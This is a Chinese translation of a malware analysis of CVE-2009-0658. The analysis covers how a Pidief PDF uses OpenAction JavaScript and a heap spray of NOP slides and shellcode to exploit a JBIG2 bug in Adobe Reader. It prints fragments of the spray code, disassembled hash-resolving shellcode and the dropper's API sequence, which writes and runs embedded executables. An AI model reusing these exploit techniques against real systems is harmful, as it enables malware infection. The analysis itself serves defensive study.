CVE-2009-0658 漏洞分析

题目: CVE-2009-0658 漏洞分析

原作: Peter Kleissner

(http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit)

翻译: Cryin'

我想给大家分享下 2009 年 3 月对一个 Adobe pdf 漏洞的分析结果,该漏洞由于 JBIG2 压缩中的 BUG 导致执行任意 Win32 代码。该漏洞目前 (2009 年 3 月 3 日)已经仅在内部被修补,但 Adobe 有望在 3 月 11 日才发布更新版本。自 2007 年以来的所有 Adobe 阅读器 (Adobe Reader 7.0 和更高版本都受影响),恶意 PDF 文件利用此漏洞的成功率非常低,所以传播的不是很广泛。

PDF 文件概览

首先让我们大概的认识下一般的 PDF 恶意文件

- •JavaScript 代码, 使 Exploit 成为可能
- •Shellcode 集成在 JavaScript 代码中(加载在 Stream 里面)
- •Exploit Code,包含在 PDF 文件的 Stream 中并经过加密的可执行文件 (malware)
- •伪造的 PDF 文件, 实现隐藏的目的

PDF漏洞文件开发主要有三个部分: JavaScript代码、Shellcode、Exploit Code。这三部分在漏洞利用开发过程中都同等重要。

Pidief 是一个知名度很高、传播十分广泛的病毒家族(本文分析的也是),在其历史上它利用各种 Adobe Pdf 漏洞来执行恶意程序(malware).下面分析的就是 Pidief 家族中鲜活的实例。尽情享受吧!

JavaScript 代码

Pidief 包含的第一段 JavaScript 代码作为脚本存储在 PDF 文件的 Object 对象中,代码经过八进制编码后如下面所示:

2 0 obj

<</S /JavaScript

/JS

(\040\012\012\040\040\040\040\040\040\040\146\165\156\143\164\151\157\156\040\160

\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\12 6\151\145

\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\126\15

```
1\145\167
\145\162\040\166\1
>>
endobj
JS 脚本相当大,解码后长度为 42792 字节(其中主要部分是 Shellcode)。在演示解码后的
Java 代码之前,我想简单介绍一下 PDF 文件中的 JavaScript 代码是如何执行的。Adobe 使
用自己的内部引擎,大家可能想到是 IE 浏览器,但 Adobe 并没有使用 IE 浏览器引擎。
JavaScript 是由不同的动作(triggers)执行。根据一份来自 Adobe 的德文文档所述,一共
有7个动作用来执行JavaScript,这里使用的是第一个动作,Open Document。所以这样也
带来一个很重要的限制, PDF 中执行 JavaScript 是依赖动作的。下面是动作 Open Document
时注册要执行的 JavaScript 代码:
3 0 obj
<</Type /Catalog
/Outlines 4 0 R
/Pages 5 0 R
/OpenAction 2 0 R
>>
endobj
OpenAction 定义了执行的对象 obj 2 0,也就是包含了上面经过 Oct 编码的 JavaScript 代
码的对象。
function printInfo() {
          console.println("Viewer language: " + app.language);
          console.println("Viewer version: " + app. viewerVersion);
          console.println("Viewer Type: " + app. viewerType);
          console.println("Viewer Variatio: " + app. viewerVariation);
          console.println("Dumping all data objects in the document.");
          if (this.external)
          console.println("viewing from a browser.");
          }
          else
          console.println("viewing in the Acrobat application.");
          }
```

该脚本只包含两个函数: printInfo()和 sprayWindows()。第一个仅输出关于 PDF 浏览器的信息(调试使用),第二个函数用来准备内存并将 Shellcode 填充到内存里面。正如上面提到脚本长度为 42792 字节,但只有 150 行,这就使得它很容易被读取。有趣的是 JavaScript 里甚至包含了一些注释信息:

```
// Create a 1MB string of NOP instructions followed by shellcode:
    //
    // malloc header string length NOP slide shellcode NULL terminator
```

```
// 32 bytes
                       4 bytes
                                        x bytes y bytes 2 bytes
        while (pointers. length \leq 0x100000/2)
        pointers += pointers;
    //Pointers
        pointers = pointers. substring (0, 0x100000/2 - 32/2 - 4/2 - pointers1. length)
-2/2);
        while (nop. length \leq 0x100000/2)
        nop += nop;
    //Trampolin
        nop = nop. substring(0, 0x100000/2 - 32/2 - 4/2 - jmp. length - 2/2);
//
        while (nop1. length \leq 0x100000/2)
        nop1 += nop1;
    //shelcode <1M
//
        nop1 = nop1. substring (0, 0x100000/2 - 32/2 - 4/2 - shellcode. length -2/2);
```

Exploit 如何工作

像往常一样,PDF漏洞文件一般都是利用软件 (Adobe Reader) 的 BUG (exploiting) 而开发的。一个常见的技术如"缓冲区溢出",尝试溢出在栈上的缓冲区并并覆盖函数返回跳转地址到指定数据。这里使用的正是这种技术,并利用 JBIG2 压缩的漏洞实现。JavaScript 代码开辟了 200MB 内存并使用 NOP 指令(空操作,汇编指令)和 Shellcode 填充。然后 JBIG2 压缩漏洞将导致程序跳转到 200MB 内存的某个位置去执行。这就是为什么有这么多的 NOP 指令,正因入口点位置不能确定,所以 NOP 指令将被执行,最后执行到 Shellcode。以下代码用来开辟 200MB 内存:

```
var x = new Array();
```

```
// Fill 200MB of memory with copies of the NOP slide and shellcode for (i = 0; i < 150; i++) { x[i] = nop+shellcode; } x[i++] = nop1+shellcode; for (; i < 201; i++) { x[i] = pointers + pointers1; }
```

这里非常有趣的是为了在不同的版本下利用该漏洞,针对 Adobe Reader 9 和 Adobe Reader 7.0(以及更高版本)有不同的代码进行处理:

```
if (app. viewerVersion>=7. 0&app. viewerVersion<9)
{</pre>
```

Shellcode

JavaScript 代码将 Shellcode 填充到内存,以便在 Adobe Reader 漏洞触发时执行。Shellcode 本身是有效的 Win32 代码,存储并被 escaped 在 JavaScript 代码中。这里我们禁用 JavaScript 引擎,并进入阅读器窗口。在前四个字节,Shellcode 在最开始包含了"JBIA" 缩写字样并紧跟着 4 句垃圾指令代码。让它们记录并返回调用 Shellcode 的目标:从 PDF 文件中释放并执行两个可执行文件。让我们看看初始化代码:

```
; [junk code] - "JBIA"
```

00000000	4A	dec	edx
00000001	42	inc	edx
00000002	49	dec	ecx
00000003	41	inc	ecx

; create data on stack (284 bytes)

00000004 81EC20010000 sub esp, 288 0000000A 8BFC mov edi, esp 0000000C 83C704 add edi, 4

edi is a pointer to the new allocated data

; store the hashes of Windows API functions for later usage

0000000F C7073274910C mov dword [edi], 0xc917432

LoadLibraryA

00000015 C747048E130AAC mov dword [edi+0x4], 0xac0a138e

; GetFileSize

0000001C C7470839E27D83 mov dword [edi+0x8], 0x837de239

; GetTempPathA

00000023 C7470C8FF21861 mov dword [edi+0xc], 0x6118f28f

; TerminateProcess

0000002A C747109332E494 mov dword [edi+0x10], 0x94e43293

; CreateFileA

00000031 C74714A932E494 mov dword [edi+0x14], 0x94e432a9

; CreateFileW

00000038 C7471843BEACDB mov dword [edi+0x18], 0xdbacbe43

; SetFilePointer

0000003F C7471CB2360F13 mov dword [edi+0x1c], 0x130f36b2

; ReadFile

00000046 C74720C48D1F74 mov dword [edi+0x20], 0x741f8dc4

; WriteFile

0000004D C74724512FA201 mov dword [edi+0x24], 0x1a22f51

; WinExec

00000054 C7472857660DFF mov dword [edi+0x28], 0xff0d6657

: CloseHandle

0000005B C7472C9B878BE5 mov dword [edi+0x2c], 0xe58b879b

; GetCommandLineA

00000062 C74730EDAFFFB4 mov dword [edi+0x30], 0xb4ffafed

: GetModuleFileNameA

; call the code following this instruction

00000069 E997020000 jmp dword Execute_Function

. .

Execute Function:

00000305 E864FDFFFF call Execute_Shellcode

; just for obfuscation, this will never return

可以看到函数的 hash 值被存放在堆栈中,然后是一个用来迷惑大家的 Call (译者:正如上面所说"this will never return")。Jump 指令跳转到调用它下面代码的 Call。所以你可以去掉 jump 和 call 指令,效果还是一样的。Execute_Shellcode 过程一开始代码就开始解析hash 值并获取对应函数的地址:

Execute_Shellcode:

; Arguments:

; edi = pointer to the data/code stored on stack

0000006E 64A130000000 mov eax, [fs:0x30]

; get a pointer to the Process Environment Block

00000074 8B400C mov eax, [eax+12]; get a pointer to PEB LDR DATA structure

00000077 8B701C mov esi, [eax+28]

; -> PEB LDR DATA.InInitializationOrderModuleList.LDR DATA TABLE ENTRY

/LDR MODULE (UNDOCUMENTED)

0000007A AD lodsd

; double linked list, Forward link, to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure

(UNDOCUMENTED)

0000007B 8B6808 mov ebp, [eax+8]

; D11Base (Module Base Address)

(UNDOCUMENTED)

; resolve the 13 function hashes

0000007E 8BF7 mov esi, edi

; esi points to the first hash to resolve

: loop 13 times

00000082 59 pop ecx

; ecx is counter
Resolve_Hashes:

00000083 E838020000 call dword ResolveImportsByHashes

00000088 E2F9 loop Resolve_Hashes

ResolveImportsByHashes:

: resolves function hashes

; ebp = Module Address

; edi = pointer to hash to resolve and exchange with functions address

; store register contents

000002C0 51 push ecx 000002C1 56 push esi

000002C2 8B753C mov esi, [ebp+0x3C]

; -> PE Header (skip DOS Header)

000002C5 8B742E78 mov esi, [esi+ebp+0x78]

; Export Table Virtual Address

000002C9 03F5 add esi, ebp

; (absolute address)

000002CB 56 push esi

; store address of Export Directory Table $\,$

000002CC 8B7620 mov esi, [esi+0x20]

; Name Pointer RVA (list of all functions)

000002CF 03F5 add esi, ebp

; (absolute address)

000002D1 33C9 xor ecx, ecx 000002D3 49 dec ecx

; ecx is name counter

Function_Name_loop:

000002D4 41 inc ecx

; -> next function name

000002D5 AD lodsd

; get the address of the function name 000002D6 03C5 add eax, ebp

; (absolute address)

000002D8 33DB xor ebx, ebx

; reset next hash to generate

Generate_Hash_of_Function_Name:

000002DA OFBE10 movsx edx, byte [eax]

; load next character

000002DD 3AD6 cmp d1, dh

; zero terminator?

000002DF 7408 jz Generated_Hash

000002E1 C1CB07 ror ebx, 7

; => this is hash generating algorithm hash += char >> 7

000002E4 03DA add ebx, edx

; (add the shifted character to generating hash)

000002E6 40 inc eax

; -> next character

000002E7 EBF1 jmp short Generate_Hash_of_Function_Name

Generated_Hash:

000002E9 3B1F cmp ebx, [edi]

; matches the input hash with generated one?

000002EB 75E7 jnz Function_Name_loop

; if not compare against next function

000002ED 5E pop esi

; restore address of Export Directory Table 000002EE 8B5E24 mov ebx, [esi+0x24]

; Ordinal Table

000002F1 03DD add ebx, ebp

; (absolute address)

000002F3 668B0C4B mov cx, [ebx+ecx*2]

; look up the function in the Ordinal Table to get the ordinal number

000002F7 8B5E1C mov ebx, [esi+0x1c]

; Export Address Table

000002FA 03DD add ebx, ebp

; (absolute address)

000002FC 8B048B mov eax, [ebx+ecx*4]

; -> look up the Address of the function (ordinal number in EAT)

000002FF 03C5 add eax, ebp

; (absolute address)

00000301 AB stosd

; overwrite the input hash with the address

; restore register contents

00000302 5E pop esi 00000303 59 pop ecx

00000304 C3 ret

ResolveImportsByHashes 函数非常典型,几乎是每一个漏洞利用文件中必有的一部分。将 其与 Sinowal 进行对比。像其它解析函数地址的函数一样,这个函数使用 ror 7 来生成 hash 值(非常典型),其余的代码没有什么特别之处,仅仅是标准的 API 调用。与对 Sinowal 的分 析一样,我不想花太多时间在这些代码上。下面是 API 调用的列表:

Kernel32!GetFileSize(FileHandle +4, NULL);

done in a loop, in order to get the size of every file and compare it with fixed

```
PDF file size
to get the file handle of the pdf file
Kernel32!GetTempPathA(Stack Buffer, 256 bytes);
returns temp path, where the 2 executables will be stored to
appending "\SVCHOST. EXE" to the temp path
Kerne132!CreateFileA("C:\Windows\Temp\SVCHOST.EXE",
                                                     GENERIC WRITE, 0,
                                                                           NULL,
CREATE ALWAYS, O, NULL);
creates the first file in the temp path
Kernel32!SetFilePointer(PDF File Handle, File Position = where the string is, NULL,
FILE BEGIN);
sets file pointer in PDF file to a special configuration block
Kernel32!ReadFile(PDF File Handle, Buffer, 48 Bytes, &NumberOfBytesRead, NULL);
reads the configuration block (30h bytes)
Kernel32!SetFilePointer(PDF File Handle, File Position, NULL, FILE_BEGIN);
sets the file pointer to the position of the to-extract file in the PDF file, received
from the configuration block
Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF
                         File
                                Handle,
                                           Read File
                                                         Buffer,
                                                                    1024
                                                                           Bytes,
&NumberOfBytesWritten, NULL);
both done in a loop to read the whole first file
directly after read the file (buffer) will be decrypted with xor 97h
Kernel32!CloseHandle(Created File);
Kernel32!WinExec (Created File Name, 0);
the malware will be executed
strcat(Temp Path, "\temp.exe");
second files name is temp.exe
Kernel32!CreateFileA(Second File Name, GENERIC_WRITE, O, NULL, CREATE_ALWAYS, O,
NULL):
also created in the temp directory
Kernel32!SetFilePointer(PDF File Handle, File Position = somewhere in the file, NULL,
FILE BEGIN);
```

at this time the file position is hard wired coded

```
Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF File
                                Handle,
                                          Read
                                                 File
                                                        Buffer,
                                                                   1024
                                                                          Bytes,
&NumberOfBytesWritten, NULL);
again both done in a loop to read the whole second file
directly after read the file (buffer) will be decrypted with at this time xor AOh
Kernel32!SetFilePointer(Created File Handle, File Position = 9000h, NULL,
FILE BEGIN);
the file pointer of the second file will be moved to that position
Kernel32!WriteFile (PDF File Handle, previously read configuration buffer, 40 Bytes,
&NumberOfBytesWritten, NULL);
and the configuration block written
Kernel32!CloseHandle(Created File);
Kernel32!WinExec (Created Second File Name, 0);
also this file will be executed
Kernel32!CloseHandle(Created File);
** programming error with this call making the process crashing
Kernel32!TerminateProcess(Current Process, Exit Code = 0);
will never be executed but should smoothly terminate Adobe Reader
...and that's it!
```

配置区块

如前所示, PDF 文件包含一个 40 字节大的配置块。Shellcode 使用其中的两个,第一个用来确定 PDF 文件的大小。此外,该配置块将被复制到第二个文件中。该配置块在 PDF 文件的171984 位置处,包含以下信息:

Pidief 中的错误

我遇到的 Pidief 中 Shellcode 的各种错误

- •地址 6Eh: 直接访问 PEB (Process Environment Block) 结构, PEB_LDR_DATA;它们在不同的操作系统版本中 Window XP, Server 2003 以及 Vista 中并不固定
- •地址 BBh: 如果 PDF 文件大小不等于 827116 时会导致死循环,从而使程序崩溃
- •地址 COh: 只给文件名称分配了 256 个字节,但 Windows 定义的 MAX_PATH 为 260 字节, (4 ("C:\", 0) + 256 (file name))。这就意味着如果 PDF 文件名称长度大于 260 时,可能导致程序崩溃
- •地址 2B7h: 替换 GetCurrentProcess 而使用 GetFileSize 函数调用,实际上这会导致 Adobe Reader 崩溃
- •地址 2E7h: ResolveImportsByHashes 函数,如果要搜索的函数不再 DLL 中,会导致死循环此外,代码并不是非常高效,可以写的更好。并且包含了太多垃圾指令和冗余代码。

影响操作系统

所有安装有 Adobe Reader 7.0 或者更高版本的 Windows XP 系统在 2009 年 3 月 11 日之前都受此漏洞影响。因为 3 月 11 日 Adobe 公司将发布更新 Adobe Reader 版本。此外,是用 Adobe Reader 时最好禁用 JavaScript (默认是开启的)。在下面的链接中 Adobe 公司也给出了应对该漏洞的紧急措施。

我不能很确定 Vista 是否也受到该漏洞的影响,但至少我们知道不同的操作系统其 PEB(Process Environment Block)和 PEB_LDR_DATA 结构可能不尽相同。而且也没有看到 Vista 系统下恶意程序做什么以及如何兼容等信息,之后我们再作分析。

结束

PDF Exploits 非常不错,但是也很难发现。作为病毒作者,你必须相当熟悉 Adobe Reader 才能发现漏洞,但是如果发现的话,这个就值数千欧元(在市场上有超过 1W 欧元的)。作为普通的用户一定要记得及时更新 Adobe Reader 并且开启自动更新功能。

参考链接

 $\label{lem:http://www.heise.de/security/meldung/Zero-Day-Luecke-in-Adobe-Reader-und-Acroba} $$t^{-198748.html}$$

http://www.adobe.com/support/security/advisories/apsa09-01.html